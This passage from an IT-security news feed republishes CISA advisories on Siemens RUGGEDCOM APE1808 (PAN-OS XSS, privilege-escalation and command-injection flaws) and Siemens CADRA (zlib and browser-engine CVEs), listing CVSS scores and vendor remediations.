Palo Alto Networks has published [1] information on vulnerabilities in PAN-OS. This advisory lists the related Siemens Industrial products affected by these vulnerabilities. Customers are advised to consult and implement the workarounds provided in Palo Alto Networks' upstream s...]]></description>
<link>https://tsecurity.de/de/3684508/it-security-nachrichten/siemens-ruggedcom-ape1808-with-palo-alto-networks-virtual-ngfw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684508/it-security-nachrichten/siemens-ruggedcom-ape1808-with-palo-alto-networks-virtual-ngfw/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-02.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Palo Alto Networks has published [1] information on vulnerabilities in PAN-OS. This advisory lists the related Siemens Industrial products affected by these vulnerabilities. Customers are advised to consult and implement the workarounds provided in Palo Alto Networks' upstream security notifications. [1] https://security.paloaltonetworks.com/</strong></p>
<p>The following versions of Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW are affected:</p>
<ul>
<li>RUGGEDCOM APE1808 vers:all/* </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.2</td>
<td>Siemens</td>
<td>Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Missing Authorization, Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-0266</a></h3>
<div class="csaf-accordion-content">
<p>A cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS® software enables a malicious authenticated administrator to store a JavaScript payload using the web interface. This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW and Prisma® Access are not affected by this vulnerability.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-0266">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Contact customer support to receive patch and update information</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>2.4</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-0272</a></h3>
<div class="csaf-accordion-content">
<p>A privilege escalation vulnerability in Palo Alto Networks PAN-OS® software allows an authenticated administrator with access to the Command Line Interface (CLI) to perform actions on the device with root privileges. The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW, and Prisma® Access are not impacted by this vulnerability.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-0272">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Contact customer support to receive patch and update information</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/862.html">CWE-862 Missing Authorization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-0273</a></h3>
<div class="csaf-accordion-content">
<p>A command injection vulnerability in Palo Alto Networks PAN-OS® software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI or Web UI. The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW and Prisma® Access are not affected by this vulnerability.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-0273">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Contact customer support to receive patch and update information</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/78.html">CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-104023 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-104023 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens CADRA]]></title>
<description><![CDATA[View CSAF
Summary
CADRA is affected by multiple zlib and Foxit vulnerabilities. Siemens has released a new version for CADRA and recommends to update to the latest version. Siemens is preparing further fix versions and recommends specific countermeasures for products where fixes are not, or not y...]]></description>
<link>https://tsecurity.de/de/3684507/it-security-nachrichten/siemens-cadra/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684507/it-security-nachrichten/siemens-cadra/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-06.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>CADRA is affected by multiple zlib and Foxit vulnerabilities. Siemens has released a new version for CADRA and recommends to update to the latest version. Siemens is preparing further fix versions and recommends specific countermeasures for products where fixes are not, or not yet available.</strong></p>
<p>The following versions of Siemens CADRA are affected:</p>
<ul>
<li>CADRA vers:intdot/&lt;2511, vers:all/* </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.8</td>
<td>Siemens</td>
<td>Siemens CADRA</td>
<td>Improper Input Validation, Incorrect Bitwise Shift of Integer, Out-of-bounds Write, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Integer Overflow or Wraparound, Access of Resource Using Incompatible Type ('Type Confusion')</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Chemical, Commercial Facilities, Communications, Energy</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2005-2096</a></h3>
<div class="csaf-accordion-content">
<p>zlib 1.2 and later versions allows remote attackers to cause a denial of service (crash) via a crafted compressed stream with an incomplete code description of a length greater than 1, which leads to a buffer overflow, as demonstrated using a crafted PNG file.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2005-2096">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.3</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2016-9840</a></h3>
<div class="csaf-accordion-content">
<p>inftrees.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact by leveraging improper pointer arithmetic.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2016-9840">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2016-9841</a></h3>
<div class="csaf-accordion-content">
<p>inffast.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact by leveraging improper pointer arithmetic.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2016-9841">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2016-9842</a></h3>
<div class="csaf-accordion-content">
<p>The inflateMark function in inflate.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact via vectors involving left shifts of negative integers.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2016-9842">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1335.html">CWE-1335 Incorrect Bitwise Shift of Integer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2017-14919</a></h3>
<div class="csaf-accordion-content">
<p>Node.js before 4.8.5, 6.x before 6.11.5, and 8.x before 8.8.0 allows remote attackers to cause a denial of service (uncaught exception and crash) by leveraging a change in the zlib module 1.2.9 making 8 an invalid value for the windowBits parameter.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2017-14919">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.0</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2018-25032</a></h3>
<div class="csaf-accordion-content">
<p>zlib before 1.2.12 allows memory corruption when deflating (i.e., when compressing) if the input has many distant matches.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2018-25032">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-37434</a></h3>
<div class="csaf-accordion-content">
<p>zlib through 1.2.12 has a heap-based buffer over-read or buffer overflow in inflate in inflate.c via a large gzip header extra field. NOTE: only applications that call inflateGetHeader are affected. Some common applications bundle the affected zlib source code but may be unable to call inflateGetHeader (e.g., see the nodejs/node reference).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-37434">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/120.html">CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2023-45853</a></h3>
<div class="csaf-accordion-content">
<p>MiniZip in zlib through 1.3 has an integer overflow and resultant heap-based buffer overflow in zipOpenNewFileInZip4_64 via a long filename, comment, or extra field. NOTE: MiniZip is not a supported part of the zlib product. NOTE: pyminizip through 0.2.6 is also vulnerable because it bundles an affected zlib version, and exposes the applicable MiniZip code through its compress API.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2023-45853">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-10585</a></h3>
<div class="csaf-accordion-content">
<p>Type confusion in V8 in Google Chrome prior to 140.0.7339.185 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-10585">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Block access to untrusted or external web content from sensitive systems</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/843.html">CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
